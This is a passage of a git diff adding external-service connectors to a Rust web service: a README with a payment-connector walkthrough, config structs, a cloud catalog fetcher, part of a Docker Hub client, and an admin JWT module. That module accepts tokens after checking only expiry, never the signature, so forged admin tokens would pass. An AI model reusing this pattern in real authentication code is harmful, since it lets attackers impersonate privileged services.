assert_eq!(settings.auth_connect_timeout_secs, 2); + } +} diff --git a/stacker/stacker/src/connectors/README.md b/stacker/stacker/src/connectors/README.md new file mode 100644 index 0000000..422832d --- /dev/null +++ b/stacker/stacker/src/connectors/README.md @@ -0,0 +1,531 @@ +# External Service Connectors + +This directory contains adapters for all external service integrations for your project. + **All communication with external services MUST go through connectors** - this is a core architectural rule for Stacker. + +## Why Connectors? + +| Benefit | Description | +|---------|-------------| +| **Independence** | Stacker works standalone; external services are optional | +| **Testability** | Mock connectors in tests without calling external APIs | +| **Replaceability** | Swap HTTP for gRPC without changing route code | +| **Configuration** | Enable/disable services per environment | +| **Separation of Concerns** | Routes contain business logic only, not HTTP details | +| **Error Handling** | Centralized retry logic, timeouts, circuit breakers | + +## Architecture Pattern + +``` +┌─────────────────────────────────────────────────────────┐ +│ Route Handler │ +│ (Pure business logic - no HTTP/AMQP knowledge) │ +└─────────────────────────┬───────────────────────────────┘ + │ Uses trait methods + ▼ +┌─────────────────────────────────────────────────────────┐ +│ Connector Trait (Interface) │ +│ pub trait UserServiceConnector: Send + Sync │ +└─────────────────────────┬───────────────────────────────┘ + │ Implemented by + ┌─────────┴─────────┐ + ▼ ▼ + ┌──────────────────┐ ┌──────────────────┐ + │ HTTP Client │ │ Mock Connector │ + │ (Production) │ │ (Tests/Dev) │ + └──────────────────┘ └──────────────────┘ +``` + +## Existing Connectors + +| Service | Status | Purpose | +|---------|--------|---------| +| User Service | ✅ Implemented | Create/manage stacks in TryDirect User Service | +| Payment Service | 🚧 Planned | Process marketplace template payments | +| Event Bus (RabbitMQ) | 🚧 Planned | Async notifications (template approved, deployment complete) | + +## Adding a New Connector + +### Step 1: Define Configuration + +Add your service config to `config.rs`: + +```rust +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PaymentServiceConfig { + pub enabled: bool, + pub base_url: String, + pub timeout_secs: u64, + #[serde(skip)] + pub auth_token: Option, +} + +impl Default for PaymentServiceConfig { + fn default() -> Self { + Self { + enabled: false, + base_url: "http://localhost:8000".to_string(), + timeout_secs: 15, + auth_token: None, + } + } +} +``` + +Then add to `ConnectorConfig`: +```rust +pub struct ConnectorConfig { + pub user_service: Option, + pub payment_service: Option, // Add this +} +``` + +### Step 2: Create Service File + +Create `src/connectors/payment_service.rs`: + +```rust +use super::config::PaymentServiceConfig; +use super::errors::ConnectorError; +use actix_web::web; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use tracing::Instrument; + +// 1. Define response types +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PaymentResponse { + pub payment_id: String, + pub status: String, + pub amount: f64, +} + +// 2. Define trait interface +#[async_trait::async_trait] +pub trait PaymentServiceConnector: Send + Sync { + async fn create_payment( + &self, + user_id: &str, + amount: f64, + currency: &str, + ) -> Result; + + async fn get_payment_status( + &self, + payment_id: &str, + ) -> Result; +} + +// 3. Implement HTTP client +pub struct PaymentServiceClient { + base_url: String, + http_client: reqwest::Client, + auth_token: Option, +} + +impl PaymentServiceClient { + pub fn new(config: PaymentServiceConfig) -> Self { + let timeout = std::time::Duration::from_secs(config.timeout_secs); + let http_client = reqwest::Client::builder() + .timeout(timeout) + .build() + .expect("Failed to create HTTP client"); + + Self { + base_url: config.base_url, + http_client, + auth_token: config.auth_token, + } + } + + fn auth_header(&self) -> Option { + self.auth_token + .as_ref() + .map(|token| format!("Bearer {}", token)) + } +} + +#[async_trait::async_trait] +impl PaymentServiceConnector for PaymentServiceClient { + async fn create_payment( + &self, + user_id: &str, + amount: f64, + currency: &str, + ) -> Result { + let span = tracing::info_span!( + "payment_service_create_payment", + user_id = %user_id, + amount = %amount + ); + + let url = format!("{}/api/payments", self.base_url); + let payload = serde_json::json!({ + "user_id": user_id, + "amount": amount, + "currency": currency, + }); + + let mut req = self.http_client.post(&url).json(&payload); + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + let resp = req.send() + .instrument(span) + .await + .and_then(|resp| resp.error_for_status()) + .map_err(|e| { + tracing::error!("create_payment error: {:?}", e); + ConnectorError::HttpError(format!("Failed to create payment: {}", e)) + })?; + + let text = resp.text().await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + + serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + + async fn get_payment_status( + &self, + payment_id: &str, + ) -> Result { + let span = tracing::info_span!( + "payment_service_get_status", + payment_id = %payment_id + ); + + let url = format!("{}/api/payments/{}", self.base_url, payment_id); + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + let resp = req.send() + .instrument(span) + .await + .map_err(|e| { + if e.status().map_or(false, |s| s == 404) { + ConnectorError::NotFound(format!("Payment {} not found", payment_id)) + } else { + ConnectorError::HttpError(format!("Failed to get payment: {}", e)) + } + })?; + + if resp.status() == 404 { + return Err(ConnectorError::NotFound(format!("Payment {} not found", payment_id))); + } + + let text = resp.text().await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + + serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } +} + +// 4. Provide mock for testing +pub mod mock { + use super::*; + + pub struct MockPaymentServiceConnector; + + #[async_trait::async_trait] + impl PaymentServiceConnector for MockPaymentServiceConnector { + async fn create_payment( + &self, + user_id: &str, + amount: f64, + currency: &str, + ) -> Result { + Ok(PaymentResponse { + payment_id: "mock_payment_123".to_string(), + status: "completed".to_string(), + amount, + }) + } + + async fn get_payment_status( + &self, + payment_id: &str, + ) -> Result { + Ok(PaymentResponse { + payment_id: payment_id.to_string(), + status: "completed".to_string(), + amount: 99.99, + }) + } + } +} + +// 5. Add init function for startup.rs +pub fn init(connector_config: &super::config::ConnectorConfig) -> web::Data> { + let connector: Arc = if let Some(payment_config) = + connector_config.payment_service.as_ref().filter(|c| c.enabled) + { + let mut config = payment_config.clone(); + if config.auth_token.is_none() { + config.auth_token = std::env::var("PAYMENT_SERVICE_AUTH_TOKEN").ok(); + } + tracing::info!("Initializing Payment Service connector: {}", config.base_url); + Arc::new(PaymentServiceClient::new(config)) + } else { + tracing::warn!("Payment Service connector disabled - using mock"); + Arc::new(mock::MockPaymentServiceConnector) + }; + + web::Data::new(connector) +} +``` + +### Step 3: Export from mod.rs + +Update `src/connectors/mod.rs`: + +```rust +pub mod payment_service; + +pub use payment_service::{PaymentServiceConnector, PaymentServiceClient}; +pub use payment_service::init as init_payment_service; +``` + +### Step 4: Update Configuration Files + +Add to `configuration.yaml` and `configuration.yaml.dist`: + +```yaml +connectors: + payment_service: + enabled: false + base_url: "http://localhost:8000" + timeout_secs: 15 +``` + +### Step 5: Register in startup.rs + +Add to `src/startup.rs`: + +```rust +// Initialize connectors +let payment_service = connectors::init_payment_service(&settings.connectors); + +// In App builder: +App::new() + .app_data(payment_service) + // ... other middleware +``` + +### Step 6: Use in Routes + +```rust +use crate::connectors::PaymentServiceConnector; + +#[post("/purchase/{template_id}")] +pub async fn purchase_handler( + user: web::ReqData>, + payment_connector: web::Data>, + path: web::Path<(String,)>, +) -> Result { + let template_id = path.into_inner().0; + + // Route logic never knows about HTTP + let payment = payment_connector + .create_payment(&user.id, 99.99, "USD") + .await + .map_err(|e| JsonResponse::build().bad_request(e.to_string()))?; + + Ok(JsonResponse::build().ok(payment)) +} +``` + +## Testing Connectors + +### Unit Tests (with Mock) + +```rust +#[cfg(test)] +mod tests { + use super::*; + use crate::connectors::payment_service::mock::MockPaymentServiceConnector; + + #[tokio::test] + async fn test_purchase_without_external_api() { + let connector = Arc::new(MockPaymentServiceConnector); + + let result = connector.create_payment("user_123", 99.99, "USD").await; + assert!(result.is_ok()); + + let payment = result.unwrap(); + assert_eq!(payment.status, "completed"); + } +} +``` + +### Integration Tests (with Real Service) + +```rust +#[tokio::test] +#[ignore] // Run with: cargo test -- --ignored +async fn test_real_payment_service() { + let config = PaymentServiceConfig { + enabled: true, + base_url: "http://localhost:8000".to_string(), + timeout_secs: 10, + auth_token: Some("test_token".to_string()), + }; + + let connector = Arc::new(PaymentServiceClient::new(config)); + let result = connector.create_payment("test_user", 1.00, "USD").await; + + assert!(result.is_ok()); +} +``` + +## Best Practices + +### ✅ DO + +- **Use trait objects** (`Arc`) for flexibility +- **Add retries** for transient failures (network issues) +- **Log errors** with context (user_id, request_id) +- **Use tracing spans** for observability +- **Handle timeouts** explicitly +- **Validate responses** before deserializing +- **Return typed errors** (ConnectorError enum) +- **Mock for tests** - never call real APIs in unit tests + +### ❌ DON'T + +- **Call HTTP directly from routes** - always use connectors +- **Panic on errors** - return `Result` +- **Expose reqwest types** - wrap in ConnectorError +- **Hardcode URLs** - always use config +- **Share HTTP clients** across different services +- **Skip error context** - log with tracing for debugging +- **Test with real APIs** unless explicitly integration tests + +## Error Handling + +All connectors use `ConnectorError` enum: + +```rust +pub enum ConnectorError { + HttpError(String), // Network/HTTP errors + ServiceUnavailable(String), // Service down or timeout + InvalidResponse(String), // Bad JSON/unexpected format + Unauthorized(String), // 401/403 + NotFound(String), // 404 + RateLimited(String), // 429 + Internal(String), // Unexpected errors +} +``` + +Convert external errors: +```rust +.map_err(|e| { + if e.is_timeout() { + ConnectorError::ServiceUnavailable(e.to_string()) + } else if e.status() == Some(404) { + ConnectorError::NotFound("Resource not found".to_string()) + } else { + ConnectorError::HttpError(e.to_string()) + } +}) +``` + +## Environment Variables + +Connectors can load auth tokens from environment: + +```bash +# .env or export +export USER_SERVICE_AUTH_TOKEN="Bearer abc123..." +export PAYMENT_SERVICE_AUTH_TOKEN="Bearer xyz789..." +``` + +Tokens are loaded in the `init()` function: +```rust +if config.auth_token.is_none() { + config.auth_token = std::env::var("PAYMENT_SERVICE_AUTH_TOKEN").ok(); +} +``` + +## Configuration Reference + +### Enable/Disable Services + +```yaml +connectors: + user_service: + enabled: true # ← Toggle here +``` + +- `enabled: true` → Uses HTTP client (production) +- `enabled: false` → Uses mock connector (tests/development) + +### Timeouts + +```yaml +timeout_secs: 10 # Request timeout in seconds +``` + +Applies to entire request (connection + response). + +### Retries + +Implement retry logic in client: +```rust +retry_attempts: 3 # Number of retry attempts +``` + +Use exponential backoff between retries. + +## Debugging + +### Enable Connector Logs + +```bash +RUST_LOG=stacker::connectors=debug cargo run +``` + +### Check Initialization + +Look for these log lines at startup: +``` +INFO stacker::connectors::user_service: Initializing User Service connector: https://api.example.com +WARN stacker::connectors::payment_service: Payment Service connector disabled - using mock +``` + +### Trace HTTP Requests + +```rust +let span = tracing::info_span!( + "user_service_create_stack", + template_id = %marketplace_template_id, + user_id = %user_id +); + +req.send() + .instrument(span) // ← Adds tracing + .await +``` + +## Checklist for New Connector + +- [ ] Config struct in `config.rs` with `Default` impl +- [ ] Add to `ConnectorConfig` struct +- [ ] Create `{service}.rs` with trait, client, mock, `init()` +- [ ] Export in `mod.rs` +- [ ] Add to `configuration.yaml` and `.yaml.dist` +- [ ] Register in `startup.rs` +- [ ] Write unit tests with mock +- [ ] Write integration tests (optional, marked `#[ignore]`) +- [ ] Document in copilot instructions +- [ ] Update this README with new connector in table + +## Further Reading + +- [Error Handling Patterns](../helpers/README.md) +- [Testing Guide](../../tests/README.md) diff --git a/stacker/stacker/src/connectors/admin_service/jwt.rs b/stacker/stacker/src/connectors/admin_service/jwt.rs new file mode 100644 index 0000000..a0fb796 --- /dev/null +++ b/stacker/stacker/src/connectors/admin_service/jwt.rs @@ -0,0 +1,136 @@ +use crate::models; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct JwtClaims { + pub role: String, + pub email: String, + pub exp: i64, +} + +/// Parse and validate JWT payload from internal admin services +/// +/// WARNING: This verifies expiration only, not cryptographic signature. +/// Use only for internal service-to-service auth where issuer is trusted. +/// For production with untrusted clients, add full JWT verification. +pub fn parse_jwt_claims(token: &str) -> Result { + use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; + + // JWT format: header.payload.signature + let parts: Vec<&str> = token.split('.').collect(); + if parts.len() != 3 { + return Err("Invalid JWT format: expected 3 parts (header.payload.signature)".to_string()); + } + + let payload = parts[1]; + + // Decode base64url payload + let decoded = URL_SAFE_NO_PAD + .decode(payload) + .map_err(|e| format!("Failed to decode JWT payload: {}", e))?; + + let json: JwtClaims = serde_json::from_slice(&decoded) + .map_err(|e| format!("Failed to parse JWT claims: {}", e))?; + + Ok(json) +} + +/// Validate JWT token expiration +pub fn validate_jwt_expiration(claims: &JwtClaims) -> Result<(), String> { + let now = chrono::Utc::now().timestamp(); + if claims.exp < now { + return Err(format!( + "JWT token expired (exp: {}, now: {})", + claims.exp, now + )); + } + Ok(()) +} + +/// Create a User model from JWT claims +/// Used for admin service authentication +pub fn user_from_jwt_claims(claims: &JwtClaims) -> models::User { + models::User { + id: claims.role.clone(), + role: claims.role.clone(), + email: claims.email.clone(), + email_confirmed: false, + first_name: "Service".to_string(), + last_name: "Account".to_string(), + mfa_verified: false, + access_token: None, + } +} + +/// Extract Bearer token from Authorization header +pub fn extract_bearer_token(authorization: &str) -> Result<&str, String> { + let parts: Vec<&str> = authorization.split_whitespace().collect(); + if parts.len() != 2 { + return Err("Invalid Authorization header format".to_string()); + } + if parts[0] != "Bearer" { + return Err("Expected Bearer scheme in Authorization header".to_string()); + } + Ok(parts[1]) +} + +#[cfg(test)] +mod tests { + use super::*; + use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; + use serde_json::json; + + fn create_test_jwt(role: &str, email: &str, exp: i64) -> String { + let header = json!({"alg": "HS256", "typ": "JWT"}); + let payload = json!({"role": role, "email": email, "exp": exp}); + + let header_b64 = URL_SAFE_NO_PAD.encode(header.to_string()); + let payload_b64 = URL_SAFE_NO_PAD.encode(payload.to_string()); + let signature = "fake_signature"; // For testing, signature validation is not performed + + format!("{}.{}.{}", header_b64, payload_b64, signature) + } + + #[test] + fn test_parse_valid_jwt() { + let future_exp = chrono::Utc::now().timestamp() + 3600; + let token = create_test_jwt("admin_service", "admin@test.com", future_exp); + + let claims = parse_jwt_claims(&token).expect("Failed to parse valid JWT"); + assert_eq!(claims.role, "admin_service"); + assert_eq!(claims.email, "admin@test.com"); + } + + #[test] + fn test_validate_expired_jwt() { + let past_exp = chrono::Utc::now().timestamp() - 3600; + let claims = JwtClaims { + role: "admin_service".to_string(), + email: "admin@test.com".to_string(), + exp: past_exp, + }; + + assert!(validate_jwt_expiration(&claims).is_err()); + } + + #[test] + fn test_extract_bearer_token() { + let auth_header = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xyz.abc"; + let token = extract_bearer_token(auth_header).expect("Failed to extract token"); + assert_eq!(token, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xyz.abc"); + } + + #[test] + fn test_user_from_claims() { + let claims = JwtClaims { + role: "admin_service".to_string(), + email: "admin@test.com".to_string(), + exp: chrono::Utc::now().timestamp() + 3600, + }; + + let user = user_from_jwt_claims(&claims); + assert_eq!(user.role, "admin_service"); + assert_eq!(user.email, "admin@test.com"); + assert_eq!(user.first_name, "Service"); + } +} diff --git a/stacker/stacker/src/connectors/admin_service/mod.rs b/stacker/stacker/src/connectors/admin_service/mod.rs new file mode 100644 index 0000000..164e3f0 --- /dev/null +++ b/stacker/stacker/src/connectors/admin_service/mod.rs @@ -0,0 +1,10 @@ +//! Admin Service connector module +//! +//! Provides helper utilities for authenticating internal admin services via JWT tokens. + +pub mod jwt; + +pub use jwt::{ + extract_bearer_token, parse_jwt_claims, user_from_jwt_claims, validate_jwt_expiration, + JwtClaims, +}; diff --git a/stacker/stacker/src/connectors/app_service_catalog.rs b/stacker/stacker/src/connectors/app_service_catalog.rs new file mode 100644 index 0000000..8e7e5c2 --- /dev/null +++ b/stacker/stacker/src/connectors/app_service_catalog.rs @@ -0,0 +1,181 @@ +use serde_json::Value; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ServerCapacity { + pub id: String, + pub ram_mb: Option, + pub cpu_cores: Option, + pub disk_gb: Option, +} + +pub fn app_service_base_url() -> String { + std::env::var("APP_SERVICE_URL").unwrap_or_else(|_| "http://app:4200".to_string()) +} + +pub fn is_supported_cloud_provider(provider: &str) -> bool { + matches!( + provider, + "do" | "htz" | "lo" | "scw" | "aws" | "gc" | "vu" | "ovh" | "upc" | "ali" + ) +} + +pub async fn fetch_catalog( + provider: &str, + resource: &str, + cloud_id: Option, + access_token: Option<&str>, +) -> Result { + if !is_supported_cloud_provider(provider) { + return Err( + "Unsupported provider. Use one of: do, htz, lo, scw, aws, gc, vu, ovh, upc, ali" + .to_string(), + ); + } + + let base_url = app_service_base_url().trim_end_matches('/').to_string(); + let mut url = format!("{}/{}/{}", base_url, provider, resource); + + if let Some(cloud_id) = cloud_id { + url.push_str(&format!("?cloud_id={}", cloud_id)); + } + + let client = reqwest::Client::new(); + let mut request = client.get(&url); + + if let Some(token) = access_token.filter(|token| !token.is_empty()) { + request = request.header("Authorization", format!("Bearer {}", token)); + } + + let response = request + .send() + .await + .map_err(|e| format!("Failed to call App Service: {}", e))?; + + if !response.status().is_success() { + let status = response.status(); + let body = response.text().await.unwrap_or_default(); + return Err(format!("App Service error {}: {}", status, body)); + } + + response + .json::() + .await + .map_err(|e| format!("Failed to parse App Service response: {}", e)) +} + +fn parse_i32(value: Option<&Value>) -> Option { + match value { + Some(Value::Number(number)) => { + if let Some(integer) = number.as_i64() { + i32::try_from(integer).ok() + } else { + number.as_f64().map(|float| float.round() as i32) + } + } + Some(Value::String(string)) => string + .parse::() + .ok() + .and_then(|integer| i32::try_from(integer).ok()) + .or_else(|| string.parse::().ok().map(|float| float.round() as i32)), + _ => None, + } +} + +fn parse_ram_mb(value: Option<&Value>) -> Option { + match value { + Some(Value::Number(number)) => number + .as_f64() + .map(|ram_gb| (ram_gb * 1024.0).round() as i32), + Some(Value::String(string)) => string + .parse::() + .ok() + .map(|ram_gb| (ram_gb * 1024.0).round() as i32), + _ => None, + } +} + +pub fn resolve_server_capacity(payload: &Value, server_slug: &str) -> Option { + let servers = payload.get("servers")?.as_array()?; + let server = servers.iter().find(|server| { + server + .get("id") + .and_then(Value::as_str) + .map(|id| id.eq_ignore_ascii_case(server_slug)) + .unwrap_or(false) + })?; + + Some(ServerCapacity { + id: server.get("id")?.as_str()?.to_string(), + ram_mb: parse_ram_mb(server.get("ram")), + cpu_cores: parse_i32(server.get("vcpu")).or_else(|| parse_i32(server.get("cpu"))), + disk_gb: parse_i32(server.get("disk_size")), + }) +} + +#[cfg(test)] +mod tests { + use super::{resolve_server_capacity, ServerCapacity}; + use serde_json::json; + + #[test] + fn resolve_server_capacity_maps_standard_server_shape() { + let payload = json!({ + "_status": "OK", + "servers": [ + { + "id": "cx22", + "ram": 4, + "vcpu": 2, + "disk_size": 40 + } + ] + }); + + assert_eq!( + Some(ServerCapacity { + id: "cx22".to_string(), + ram_mb: Some(4096), + cpu_cores: Some(2), + disk_gb: Some(40), + }), + resolve_server_capacity(&payload, "cx22") + ); + } + + #[test] + fn resolve_server_capacity_supports_string_numbers() { + let payload = json!({ + "_status": "OK", + "servers": [ + { + "id": "cpx31", + "ram": "8", + "vcpu": "4", + "disk_size": "160" + } + ] + }); + + assert_eq!( + Some(ServerCapacity { + id: "cpx31".to_string(), + ram_mb: Some(8192), + cpu_cores: Some(4), + disk_gb: Some(160), + }), + resolve_server_capacity(&payload, "cpx31") + ); + } + + #[test] + fn resolve_server_capacity_returns_none_when_server_missing() { + let payload = json!({ + "_status": "OK", + "servers": [ + { "id": "cx11", "ram": 2, "vcpu": 1, "disk_size": 20 } + ] + }); + + assert_eq!(None, resolve_server_capacity(&payload, "cx22")); + } +} diff --git a/stacker/stacker/src/connectors/config.rs b/stacker/stacker/src/connectors/config.rs new file mode 100644 index 0000000..0d2334d --- /dev/null +++ b/stacker/stacker/src/connectors/config.rs @@ -0,0 +1,183 @@ +use serde::{Deserialize, Serialize}; + +/// Configuration for external service connectors +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ConnectorConfig { + pub user_service: Option, + pub install_service: Option, + pub payment_service: Option, + pub events: Option, + pub dockerhub_service: Option, +} + +/// User Service connector configuration +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct UserServiceConfig { + /// Enable/disable User Service integration + pub enabled: bool, + /// Base URL for User Service API (e.g., http://localhost:4100/server/user) + pub base_url: String, + /// HTTP request timeout in seconds + pub timeout_secs: u64, + /// Number of retry attempts for failed requests + pub retry_attempts: usize, + /// OAuth token for inter-service authentication (from env: USER_SERVICE_AUTH_TOKEN) + #[serde(skip)] + pub auth_token: Option, +} + +impl Default for UserServiceConfig { + fn default() -> Self { + Self { + enabled: false, + base_url: "http://localhost:4100/server/user".to_string(), + timeout_secs: 10, + retry_attempts: 3, + auth_token: None, + } + } +} + +/// Install Service connector configuration +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct InstallServiceConfig { + /// Enable/disable Install Service integration + pub enabled: bool, +} + +impl Default for InstallServiceConfig { + fn default() -> Self { + Self { enabled: true } + } +} + +/// Payment Service connector configuration +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PaymentServiceConfig { + /// Enable/disable Payment Service integration + pub enabled: bool, + /// Base URL for Payment Service API (e.g., http://localhost:8000) + pub base_url: String, + /// HTTP request timeout in seconds + pub timeout_secs: u64, + /// Bearer token for authentication + #[serde(skip)] + pub auth_token: Option, +} + +impl Default for PaymentServiceConfig { + fn default() -> Self { + Self { + enabled: false, + base_url: "http://localhost:8000".to_string(), + timeout_secs: 15, + auth_token: None, + } + } +} + +/// RabbitMQ Events configuration +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct EventsConfig { + /// Enable/disable async event publishing + pub enabled: bool, + /// AMQP connection string (amqp://user:password@host:port/%2f) + pub amqp_url: String, + /// Event exchange name + pub exchange: String, + /// Prefetch count for consumer + pub prefetch: u16, +} + +impl Default for EventsConfig { + fn default() -> Self { + Self { + enabled: false, + amqp_url: "amqp://guest:guest@localhost:5672/%2f".to_string(), + exchange: "stacker_events".to_string(), + prefetch: 10, + } + } +} + +impl Default for ConnectorConfig { + fn default() -> Self { + Self { + user_service: Some(UserServiceConfig::default()), + install_service: Some(InstallServiceConfig::default()), + payment_service: Some(PaymentServiceConfig::default()), + events: Some(EventsConfig::default()), + dockerhub_service: Some(DockerHubConnectorConfig::default()), + } + } +} + +/// Docker Hub caching connector configuration +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DockerHubConnectorConfig { + /// Enable/disable Docker Hub connector + pub enabled: bool, + /// Docker Hub API base URL + pub base_url: String, + /// HTTP timeout in seconds + pub timeout_secs: u64, + /// Number of retry attempts for transient failures + pub retry_attempts: usize, + /// Page size when fetching namespaces/repositories/tags + #[serde(default = "DockerHubConnectorConfig::default_page_size")] + pub page_size: u32, + /// Optional Redis connection string override + #[serde(default)] + pub redis_url: Option, + /// Cache TTL for namespace search results + #[serde(default = "DockerHubConnectorConfig::default_namespaces_ttl")] + pub cache_ttl_namespaces_secs: u64, + /// Cache TTL for repository listings + #[serde(default = "DockerHubConnectorConfig::default_repositories_ttl")] + pub cache_ttl_repositories_secs: u64, + /// Cache TTL for tag listings + #[serde(default = "DockerHubConnectorConfig::default_tags_ttl")] + pub cache_ttl_tags_secs: u64, + /// Optional Docker Hub username (falls back to DOCKERHUB_USERNAME env) + #[serde(default)] + pub username: Option, + /// Optional Docker Hub personal access token (falls back to DOCKERHUB_TOKEN env) + #[serde(default)] + pub personal_access_token: Option, +} + +impl DockerHubConnectorConfig { + const fn default_page_size() -> u32 { + 50 + } + + const fn default_namespaces_ttl() -> u64 { + 86_400 + } + + const fn default_repositories_ttl() -> u64 { + 21_600 + } + + const fn default_tags_ttl() -> u64 { + 3_600 + } +} + +impl Default for DockerHubConnectorConfig { + fn default() -> Self { + Self { + enabled: true, + base_url: "https://hub.docker.com".to_string(), + timeout_secs: 10, + retry_attempts: 3, + page_size: Self::default_page_size(), + redis_url: Some("redis://127.0.0.1/0".to_string()), + cache_ttl_namespaces_secs: Self::default_namespaces_ttl(), + cache_ttl_repositories_secs: Self::default_repositories_ttl(), + cache_ttl_tags_secs: Self::default_tags_ttl(), + username: None, + personal_access_token: None, + } + } +} diff --git a/stacker/stacker/src/connectors/dockerhub_service.rs b/stacker/stacker/src/connectors/dockerhub_service.rs new file mode 100644 index 0000000..d84cd06 --- /dev/null +++ b/stacker/stacker/src/connectors/dockerhub_service.rs @@ -0,0 +1,728 @@ +use super::config::{ConnectorConfig, DockerHubConnectorConfig}; +use super::errors::ConnectorError; +use actix_web::web; +use async_trait::async_trait; +use base64::{engine::general_purpose, Engine as _}; +use redis::aio::ConnectionManager; +use redis::AsyncCommands; +use reqwest::{Method, StatusCode}; +use serde::de::DeserializeOwned; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::collections::HashSet; +use std::sync::Arc; +use std::time::Duration; +use tokio::sync::Mutex; +use tracing::Instrument; + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct NamespaceSummary { + pub name: String, + #[serde(default)] + pub namespace_type: Option, + #[serde(default)] + pub description: Option, + pub is_user: bool, + pub is_organization: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct RepositorySummary { + pub name: String, + pub namespace: String, + #[serde(default)] + pub description: Option, + #[serde(default)] + pub last_updated: Option, + pub is_private: bool, + #[serde(default)] + pub star_count: Option, + #[serde(default)] + pub pull_count: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct TagSummary { + pub name: String, + #[serde(default)] + pub digest: Option, + #[serde(default)] + pub last_updated: Option, + #[serde(default)] + pub tag_status: Option, + #[serde(default)] + pub content_type: Option, +} + +#[async_trait] +pub trait DockerHubConnector: Send + Sync { + async fn search_namespaces(&self, query: &str) + -> Result, ConnectorError>; + async fn list_repositories( + &self, + namespace: &str, + query: Option<&str>, + ) -> Result, ConnectorError>; + async fn list_tags( + &self, + namespace: &str, + repository: &str, + query: Option<&str>, + ) -> Result, ConnectorError>; +} + +#[derive(Clone)] +struct RedisCache { + connection: Arc>, +} + +impl RedisCache { + async fn new(redis_url: &str) -> Result { + let client = redis::Client::open(redis_url).map_err(|err| { + ConnectorError::Internal(format!("Invalid Redis URL for Docker Hub cache: {}", err)) + })?; + + let connection = + tokio::time::timeout(Duration::from_secs(3), ConnectionManager::new(client)) + .await + .map_err(|_| { + ConnectorError::ServiceUnavailable("Redis connection timed out".to_string()) + })? + .map_err(|err| { + ConnectorError::ServiceUnavailable(format!("Redis unavailable: {}", err)) + })?; + + Ok(Self { + connection: Arc::new(Mutex::new(connection)), + }) + } + + async fn get(&self, key: &str) -> Result, ConnectorError> + where + T: DeserializeOwned, + { + let mut conn = self.connection.lock().await; + let value: Option = conn.get(key).await.map_err(|err| { + ConnectorError::ServiceUnavailable(format!("Redis GET failed: {}", err)) + })?; + + if let Some(payload) = value { + if payload.is_empty() { + return Ok(None); + } + serde_json::from_str::(&payload) + .map(Some) + .map_err(|err| ConnectorError::Internal(format!("Cache decode failed: {}", err))) + } else { + Ok(None) + } + } + + async fn set(&self, key: &str, value: &T, ttl_secs: u64) -> Result<(), ConnectorError> + where + T: Serialize, + { + if ttl_secs == 0 { + return Ok(()); + } + + let payload = serde_json::to_string(value) + .map_err(|err| ConnectorError::Internal(format!("Cache encode failed: {}", err)))?; + + let mut conn = self.connection.lock().await; + let (): () = conn + .set_ex(key, payload, ttl_secs as u64) + .await + .map_err(|err| { + ConnectorError::ServiceUnavailable(format!("Redis SET failed: {}", err)) + })?; + Ok(()) + } +} + +#[derive(Clone, Copy)] +struct CacheDurations { + namespaces: u64, + repositories: u64, + tags: u64, +} + +pub struct DockerHubClient { + base_url: String, + http_client: reqwest::Client, + auth_header: Option, + retry_attempts: usize, + cache: RedisCache, + cache_ttls: CacheDurations, + user_agent: String, + page_size: u32, +} + +impl DockerHubClient { + pub async fn new(mut config: DockerHubConnectorConfig) -> Result { + if config.redis_url.is_none() { + config.redis_url = std::env::var("DOCKERHUB_REDIS_URL") + .ok() + .or_else(|| std::env::var("REDIS_URL").ok()); + } + + let redis_url = config + .redis_url + .clone() + .unwrap_or_else(|| "redis://127.0.0.1/0".to_string()); + let cache = RedisCache::new(&redis_url).await?; + + let timeout = Duration::from_secs(config.timeout_secs.max(1)); + let http_client = reqwest::Client::builder() + .timeout(timeout) + .build() + .map_err(|err| ConnectorError::Internal(format!("HTTP client error: {}", err)))?; + + let auth_header = Self::build_auth_header(&config.username, &config.personal_access_token); + let base_url = config.base_url.trim_end_matches('/').to_string(); + + Ok(Self { + base_url, + http_client, + auth_header, + retry_attempts: config.retry_attempts.max(1), + cache, + cache_ttls: CacheDurations { + namespaces: config.cache_ttl_namespaces_secs, + repositories: config.cache_ttl_repositories_secs, + tags: config.cache_ttl_tags_secs, + }, + user_agent: format!("stacker-dockerhub-client/{}", env!("CARGO_PKG_VERSION")), + page_size: config.page_size.clamp(1, 100), + }) + } + + fn build_auth_header(username: &Option, token: &Option) -> Option { + match (username, token) { + (Some(user), Some(token)) if !user.is_empty() && !token.is_empty() => { + let encoded = general_purpose::STANDARD.encode(format!("{user}:{token}")); + Some(format!("Basic {}", encoded)) + } + (None, Some(token)) if !token.is_empty() => Some(format!("Bearer {}", token)), + _ => None, + } + } + + fn encode_segment(segment: &str) -> String { + urlencoding::encode(segment).into_owned() + } + + fn cache_suffix(input: &str) -> String { + let normalized = input.trim(); + if normalized.is_empty() { + "all".to_string() + } else { + normalized.to_lowercase() + } + } + + async fn read_cache(&self, key: &str) -> Option + where + T: DeserializeOwned, + { + match self.cache.get(key).await { + Ok(value) => value, + Err(err) => { + tracing::debug!(error = %err, cache_key = key, "Docker Hub cache read failed"); + None + } + 